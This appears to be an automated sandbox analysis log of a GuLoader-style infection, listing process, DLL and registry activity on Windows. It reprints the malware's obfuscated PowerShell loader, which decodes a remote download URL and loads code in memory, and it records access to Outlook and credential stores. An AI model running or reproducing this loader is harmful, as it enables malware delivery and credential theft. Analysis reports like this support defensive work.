Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: slc.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: ifsutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: devobj.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptdlg.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msoert2.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptui.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msftedit.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: actxprxy.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptdlg.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msoert2.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptui.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msftedit.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wldp.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: profapi.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: propsys.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: edputil.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: explorerframe.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sxs.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe File opened: C:\Windows\SysWOW64\msftedit.dll Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdbV source: powershell.exe, 0000000B.00000002.2871144100.00000000074DD000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5T source: powershell.exe, 0000000B.00000002.2871144100.0000000007400000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbn[ source: powershell.exe, 0000000B.00000002.2871144100.00000000074AA000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5l source: powershell.exe, 0000000B.00000002.2871144100.0000000007400000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: wab.exe, xcopy.exe
Source: Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.2871144100.00000000074E5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: xcopy.pdb source: wab.exe

Data Obfuscation
barindex
VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: .Run("POWERSHELL "$Retorsionshandlingenllustrationer = 1;$Elytrigerous='S';$Elytrigerous+='ubstrin';$Elytrigerous+='g';", "0")
Yara detected GuLoader
Source: Yara match File source: 0000000B.00000002.2879459016.000000000CE4E000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2879301889.0000000008910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2868524375.0000000005C62000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.3522392723.000001EF38E41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Found suspicious powershell code related to unpacking or dynamic code loading
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: FromBase64String($Fredsbevaegelse133)$global:Pelsdyrfarm = [System.Text.Encoding]::ASCII.GetString($Incoalescence)$global:Sildefiskerne=$Pelsdyrfarm.substring(319853,28417)<#ricin Prsenteret Slagterbn
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: GetDelegateForFunctionPointer((Stenksers $Reliefskrift $Indicatives), (Sleddings @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Trktjers = [AppDomain]::CurrentDomain.GetAssemblies()$glo
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Egenlige)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Supporteres, $false).DefineType($feriekolonierne
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: FromBase64String($Fredsbevaegelse133)$global:Pelsdyrfarm = [System.Text.Encoding]::ASCII.GetString($Incoalescence)$global:Sildefiskerne=$Pelsdyrfarm.substring(319853,28417)<#ricin Prsenteret Slagterbn
Suspicious powershell command line found
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Retorsionshandlingenllustrationer = 1;$Elytrigerous='S';$Elytrigerous+='ubstrin';$Elytrigerous+='g';Function Programregningsfunktionens($Ridderne){$Retorsionshandlingennfraocular=$Ridderne.Length-$Retorsionshandlingenllustrationer;For($Retorsionshandlingen=5; $Retorsionshandlingen -lt $Retorsionshandlingennfraocular; $Retorsionshandlingen+=(6)){$Outsmokes+=$Ridderne.$Elytrigerous.Invoke( $Retorsionshandlingen, $Retorsionshandlingenllustrationer);}$Outsmokes;}function Gracy216($Begrendes){. ($Antediluvianske) ($Begrendes);}$Diskoskasteren=Programregningsfunktionens 's.perM L deoLandszAccomiTurbolBrystlSu.loa Inte/Linje5.ilfo.Brneb0B,ddi illi(MamelWKortsiExoranBowkndSp,dho.urvew,ndtrsFjase utotNmilepTb,een marga1San.u0Balli.Montr0H,rsk;.ykke BrakpWxanthi ,ervnReprs6trova4Filet;D,awc vidnxT,gue6Admin4Cotra;Insci Un btrTogstvEgipt:Inter1Riv l2For e1 daun. Gens0Sknde)Neutr Trak GRepudeGuldkc BelakTandloV.rde/ edb2Uheld0Sknhe1Elek.0Nell,0 ,rot1Un,en0Skibi1savne MordFautogiKo,merDe,inearom,fShipboHapaxxStork/Inten1Splas2Ds,es1 ilsk.Fylds0Capri ';$Sprayens=Programregningsfunktionens 'NondeU rubasVa neeBe,kir For -,geblAR.bbegholose Ta dn ParatPrivi ';$Reprogrammes=Programregningsfunktionens 'Stuf.hL.muctVersit SubspCosmo:etcif/Taksa/ Impl8Morph7Far,n.Bronz1Anal,2proc,1Ungl .unpol1Unper0F,nda5varmt. Gr,n5Roc,e4,sent/SeksaOOverrmMismamT.buleLandlsForcetmis,arAtropuDiscop,iske.AarsadUnsanesaanipBrodflDiameonamatySawai ';$Kretidseffekternes=Programregningsfunktionens 'Vejkr>Phisa ';$Antediluvianske=Programregningsfunktionens 'Etam.iRaadie saddxFasts ';$Gunlaying='Forraadnelig';Gracy216 (Programregningsfunktionens ' L urS AtikeSignatRecon- geneCPen,eo.endrnNovumtPrintelailanPorphtSt ir Peatw-AngloPObitaa elvetSymbohP,esh TrvemT,ough: ,aad\ Afv I Cerid.roldrCheskt UdpasFilerfMenneo C,lorsol,ceSuavenphaneiIndlenAabengSeepssUnche1Pre i9Wi,db7Super.RadiotNiveax t rrt Duod Evole-Un mmV selraMoraklPericuUnmoueAdvoc Melle$samstG estiu AppenRe,orl TeleaAnmrkySaponiImmunn BehvgAh.eh;Chabo ');Gracy216 (Programregningsfunktionens ' FramiHabi,fCacos larit( GrectV.stfe.olfisTalertRidge-OzonopJu iaaStoddtTabarhPigl, Pse THaand:Mosen\KomplI .oemd ilker tigetEperosKrig,f ColloPl.udr SubseMad lnNonmoiKromgnEnok g SaxosHaand1 Twir9Op oe7 Lov..Fedtst An txfarvet Rede) rtss{ Ka.me KropxFaksiiUdsket Sang} Un s; Gro, ');$Kvrne = Programregningsfunktionens 'NedraeUnconcUan.ghPet ooPaatn Munke%Kys.eaCasanpfy,depSixpedOver aGravit orema Ragl%Euboe\DevelS LovgaLaa,ngPlat sNematgBug.gn JalaiTegninOvercgArbe.eSl,knr Forsn p.ileafsvo. UnshISpirinM lartH ved .fsla&Neonr&Be.ri AdiabeTro ecUdganhSvovloeksp Trink$Ambol ';Gracy216 (Programregningsfunktionens 'Slide$SvmnigImperlAvn,soT aadb Rag,aPie alFordr: DemiVGoogoiQuittrShop k TrknsMycetofodbomHomemhDr sieEffemd De,isdawsst Bf eyOprikpBrancePatrunSongbs Thri=Nonam(Am.utcPillamSulted Stev Toksi/ ilhecRajah bed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Retorsionshandlingenllustrationer = 1;$Elytrigerous='S';$Elytrigerous+='ubstrin';$Elytrigerous+='g';Function Programregningsfunktionens($Ridderne){$Retorsionshandlingennfraocular=$Ridderne.Length-$Retorsionshandlingenllustrationer;For($Retorsionshandlingen=5; $Retorsionshandlingen -lt $Retorsionshandlingennfraocular; $Retorsionshandlingen+=(6)){$Outsmokes+=$Ridderne.$Elytrigerous.Invoke( $Retorsionshandlingen, $Retorsionshandlingenllustrationer);}$Outsmokes;}function Gracy216($Begrendes){. ($Antediluvianske) ($Begrendes);}$Diskoskasteren=Programregningsfunktionens 's.perM L deoLandszAccomiTurbolBrystlSu.loa Inte/Linje5.ilfo.Brneb0B,ddi illi(MamelWKortsiExoranBowkndSp,dho.urvew,ndtrsFjase utotNmilepTb,een marga1San.u0Balli.Montr0H,rsk;.ykke BrakpWxanthi ,ervnReprs6trova4Filet;D,awc vidnxT,gue6Admin4Cotra;Insci Un btrTogstvEgipt:Inter1Riv l2For e1 daun. Gens0Sknde)Neutr Trak GRepudeGuldkc BelakTandloV.rde/ edb2Uheld0Sknhe1Elek.0Nell,0 ,rot1Un,en0Skibi1savne MordFautogiKo,merDe,inearom,fShipboHapaxxStork/Inten1Splas2Ds,es1 ilsk.Fylds0Capri ';$Sprayens=Programregningsfunktionens 'NondeU rubasVa neeBe,kir For -,geblAR.bbegholose Ta dn ParatPrivi ';$Reprogrammes=Programregningsfunktionens 'Stuf.hL.muctVersit SubspCosmo:etcif/Taksa/ Impl8Morph7Far,n.Bronz1Anal,2proc,1Ungl .unpol1Unper0F,nda5varmt. Gr,n5Roc,e4,sent/SeksaOOverrmMismamT.buleLandlsForcetmis,arAtropuDiscop,iske.AarsadUnsanesaanipBrodflDiameonamatySawai ';$Kretidseffekternes=Programregningsfunktionens 'Vejkr>Phisa ';$Antediluvianske=Programregningsfunktionens 'Etam.iRaadie saddxFasts ';$Gunlaying='Forraadnelig';Gracy216 (Programregningsfunktionens ' L urS AtikeSignatRecon- geneCPen,eo.endrnNovumtPrintelailanPorphtSt ir Peatw-AngloPObitaa elvetSymbohP,esh TrvemT,ough: ,aad\ Afv I Cerid.roldrCheskt UdpasFilerfMenneo C,lorsol,ceSuavenphaneiIndlenAabengSeepssUnche1Pre i9Wi,db7Super.RadiotNiveax t rrt Duod Evole-Un mmV selraMoraklPericuUnmoueAdvoc Melle$samstG estiu AppenRe,orl TeleaAnmrkySaponiImmunn BehvgAh.eh;Chabo ');Gracy216 (Programregningsfunktionens ' FramiHabi,fCacos larit( GrectV.stfe.olfisTalertRidge-OzonopJu iaaStoddtTabarhPigl, Pse THaand:Mosen\KomplI .oemd ilker tigetEperosKrig,f ColloPl.udr SubseMad lnNonmoiKromgnEnok g SaxosHaand1 Twir9Op oe7 Lov..Fedtst An txfarvet Rede) rtss{ Ka.me KropxFaksiiUdsket Sang} Un s; Gro, ');$Kvrne = Programregningsfunktionens 'NedraeUnconcUan.ghPet ooPaatn Munke%Kys.eaCasanpfy,depSixpedOver aGravit orema Ragl%Euboe\DevelS LovgaLaa,ngPlat sNematgBug.gn JalaiTegninOvercgArbe.eSl,knr Forsn p.ileafsvo. UnshISpirinM lartH ved .fsla&Neonr&Be.ri AdiabeTro ecUdganhSvovloeksp Trink$Ambol ';Gracy216 (Programregningsfunktionens 'Slide$SvmnigImperlAvn,soT aadb Rag,aPie alFordr: DemiVGoogoiQuittrShop k TrknsMycetofodbomHomemhDr sieEffemd De,isdawsst Bf eyOprikpBrancePatrunSongbs Thri=Nonam(Am.utcPillamSulted Stev Toksi/ ilhecRajah bed
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Retorsionshandlingenllustrationer = 1;$Elytrigerous='S';$Elytrigerous+='ubstrin';$Elytrigerous+='g';Function Programregningsfunktionens($Ridderne){$Retorsionshandlingennfraocular=$Ridderne.Length-$Retorsionshandlingenllustrationer;For($Retorsionshandlingen=5; $Retorsionshandlingen -lt $Retorsionshandlingennfraocular; $Retorsionshandlingen+=(6)){$Outsmokes+=$Ridderne.$Elytrigerous.Invoke( $Retorsionshandlingen, $Retorsionshandlingenllustrationer);}$Outsmokes;}function Gracy216($Begrendes){. ($Antediluvianske) ($Begrendes);}$Diskoskasteren=Programregningsfunktionens 's.perM L deoLandszAccomiTurbolBrystlSu.loa Inte/Linje5.ilfo.Brneb0B,ddi illi(MamelWKortsiExoranBowkndSp,dho.urvew,ndtrsFjase utotNmilepTb,een marga1San.u0Balli.Montr0H,rsk;.ykke BrakpWxanthi ,ervnReprs6trova4Filet;D,awc vidnxT,gue6Admin4Cotra;Insci Un btrTogstvEgipt:Inter1Riv l2For e1 daun. Gens0Sknde)Neutr Trak GRepudeGuldkc BelakTandloV.rde/ edb2Uheld0Sknhe1Elek.0Nell,0 ,rot1Un,en0Skibi1savne MordFautogiKo,merDe,inearom,fShipboHapaxxStork/Inten1Splas2Ds,es1 ilsk.Fylds0Capri ';$Sprayens=Programregningsfunktionens 'NondeU rubasVa neeBe,kir For -,geblAR.bbegholose Ta dn ParatPrivi ';$Reprogrammes=Programregningsfunktionens 'Stuf.hL.muctVersit SubspCosmo:etcif/Taksa/ Impl8Morph7Far,n.Bronz1Anal,2proc,1Ungl .unpol1Unper0F,nda5varmt. Gr,n5Roc,e4,sent/SeksaOOverrmMismamT.buleLandlsForcetmis,arAtropuDiscop,iske.AarsadUnsanesaanipBrodflDiameonamatySawai ';$Kretidseffekternes=Programregningsfunktionens 'Vejkr>Phisa ';$Antediluvianske=Programregningsfunktionens 'Etam.iRaadie saddxFasts ';$Gunlaying='Forraadnelig';Gracy216 (Programregningsfunktionens ' L urS AtikeSignatRecon- geneCPen,eo.endrnNovumtPrintelailanPorphtSt ir Peatw-AngloPObitaa elvetSymbohP,esh TrvemT,ough: ,aad\ Afv I Cerid.roldrCheskt UdpasFilerfMenneo C,lorsol,ceSuavenphaneiIndlenAabengSeepssUnche1Pre i9Wi,db7Super.RadiotNiveax t rrt Duod Evole-Un mmV selraMoraklPericuUnmoueAdvoc Melle$samstG estiu AppenRe,orl TeleaAnmrkySaponiImmunn BehvgAh.eh;Chabo ');Gracy216 (Programregningsfunktionens ' FramiHabi,fCacos larit( GrectV.stfe.olfisTalertRidge-OzonopJu iaaStoddtTabarhPigl, Pse THaand:Mosen\KomplI .oemd ilker tigetEperosKrig,f ColloPl.udr SubseMad lnNonmoiKromgnEnok g SaxosHaand1 Twir9Op oe7 Lov..Fedtst An txfarvet Rede) rtss{ Ka.me KropxFaksiiUdsket Sang} Un s; Gro, ');$Kvrne = Programregningsfunktionens 'NedraeUnconcUan.ghPet ooPaatn Munke%Kys.eaCasanpfy,depSixpedOver aGravit orema Ragl%Euboe\DevelS LovgaLaa,ngPlat sNematgBug.gn JalaiTegninOvercgArbe.eSl,knr Forsn p.ileafsvo. UnshISpirinM lartH ved .fsla&Neonr&Be.ri AdiabeTro ecUdganhSvovloeksp Trink$Ambol ';Gracy216 (Programregningsfunktionens 'Slide$SvmnigImperlAvn,soT aadb Rag,aPie alFordr: DemiVGoogoiQuittrShop k TrknsMycetofodbomHomemhDr sieEffemd De,isdawsst Bf eyOprikpBrancePatrunSongbs Thri=Nonam(Am.utcPillamSulted Stev Toksi/ ilhecRajah bed Jump to behavior
